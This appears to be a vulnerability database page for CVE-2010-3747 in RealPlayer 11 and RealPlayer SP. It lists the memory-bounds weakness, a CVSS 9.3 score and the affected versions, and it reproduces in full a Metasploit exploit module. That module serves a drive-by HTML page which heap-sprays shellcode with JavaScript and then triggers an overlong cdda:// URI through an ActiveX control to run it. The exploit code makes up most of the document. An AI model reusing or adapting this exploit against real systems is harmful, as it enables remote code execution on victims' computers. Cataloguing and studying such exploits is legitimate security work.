Related Weaknesses
CWE-ID |
Weakness Name |
Source |
CWE-119 |
Improper Restriction of Operations within the Bounds of a Memory Buffer The product performs operations on a memory buffer, but it reads from or writes to a memory location outside the buffer's intended boundary. This may result in read or write operations on unexpected memory locations that could be linked to other variables, data structures, or internal program data. |
|
Metrics
Metrics |
Score |
Severity |
CVSS Vector |
Source |
V2 |
9.3 |
|
AV:N/AC:M/Au:N/C:C/I:C/A:C |
[email protected] |
EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
Exploit information
Exploit Database EDB-ID : 16998
Publication date : 2011-03-16 23h00 +00:00
Author : Metasploit
EDB Verified : Yes
##
# $Id: realplayer_cdda_uri.rb 12009 2011-03-17 15:42:28Z bannedit $
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::HttpServer::HTML
def initialize(info = {})
super(update_info(info,
'Name' => 'RealNetworks RealPlayer CDDA URI Initialization Vulnerability',
'Description' => %q{
This module exploits a initialization flaw within RealPlayer 11/11.1 and
RealPlayer SP 1.0 - 1.1.4. An abnormally long CDDA URI causes an object
initialization failure. However, this failure is improperly handled and
uninitialized memory executed.
},
'License' => MSF_LICENSE,
'Author' =>
[
'bannedit',
'sinn3r'
],
'Version' => '$Revision: 12009 $',
'References' =>
[
[ 'CVE', '2010-3747' ],
[ 'OSVDB', '68673'],
[ 'BID', '44144' ],
[ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-10-210/'],
[ 'URL', 'http://service.real.com/realplayer/security/10152010_player/en/']
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
},
'Payload' =>
{
'Space' => 1000,
'BadChars' => "\x00",
},
'Platform' => 'win',
'Targets' =>
[
[ 'RealPlayer SP 1.0 - 1.1.4 Universal', { 'Ret' => 0x21212121 } ],
[ 'RealPlayer 11.0 - 11.1 Universal', { 'Ret' => 0x21212121 } ],
],
'Privileged' => false,
'DisclosureDate' => 'Nov 15 2010',
'DefaultTarget' => 0))
end
def on_request_uri(cli, request)
# Re-generate the payload
return if ((p = regenerate_payload(cli)) == nil)
mytarget = target
# the ret slide gets executed via call [esi+45b]
retslide = [mytarget.ret].pack('V') * 750
cdda_uri = "cdda://" + retslide
# Encode the shellcode
shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))
nops = make_nops(8)
nop_sled = Rex::Text.to_unescape(nops, Rex::Arch.endian(target.arch))
# Randomize Javascript variables
var_blocks = rand_text_alpha(rand(6)+3)
var_shellcode = rand_text_alpha(rand(6)+3)
var_index = rand_text_alpha(rand(6)+3)
var_nopsled = rand_text_alpha(rand(6)+3)
spray_func = rand_text_alpha(rand(6)+3)
obj_id = rand_text_alpha(rand(6)+3)
html = <<-EOS
<html>
<head>
<script>
function #{spray_func}() {
#{var_blocks} = new Array();
var #{var_shellcode} = unescape("#{shellcode}");
var #{var_nopsled} = unescape("#{nop_sled}");
do { #{var_nopsled} += #{var_nopsled} } while (#{var_nopsled}.length < 8200);
for (#{var_index}=0; #{var_index} < 19000; #{var_index}++)
#{var_blocks}[#{var_index}] = #{var_nopsled} + #{var_shellcode};
}
#{spray_func}();
</script>
</head>
<object id=#{obj_id} classid='clsid:CFCDAA03-8BE4-11CF-B84B-0020AFBBCCFA' width=0 height=0>
<param name="CONTROLS" value="ControlPanel">
<param name="src" value="#{cdda_uri}">
</object>
<script language="VBScript">
#{obj_id}.DoPlay
</script>
</html>
EOS
print_status("Sending #{self.name} HTML to #{cli.peerhost}:#{cli.peerport}")
send_response(cli, html, { 'Content-Type' => 'text/html' })
end
end
Products Mentioned
Configuraton 0
Realnetworks>>Realplayer >> Version 11.0
Realnetworks>>Realplayer >> Version 11.0.1
Realnetworks>>Realplayer >> Version 11.0.2
Realnetworks>>Realplayer >> Version 11.0.3
Realnetworks>>Realplayer >> Version 11.0.4
Realnetworks>>Realplayer >> Version 11.0.5
Realnetworks>>Realplayer >> Version 11.1
Configuraton 0
Realnetworks>>Realplayer_sp >> Version 1.0.0
Realnetworks>>Realplayer_sp >> Version 1.0.1
Realnetworks>>Realplayer_sp >> Version 1.0.2
Realnetworks>>Realplayer_sp >> Version 1.0.5
Realnetworks>>Realplayer_sp >> Version 1.1
Realnetworks>>Realplayer_sp >> Version 1.1.1
Realnetworks>>Realplayer_sp >> Version 1.1.2
Realnetworks>>Realplayer_sp >> Version 1.1.3
Realnetworks>>Realplayer_sp >> Version 1.1.4
Configuraton 0
Realnetworks>>Realplayer >> Version 2.1.2
References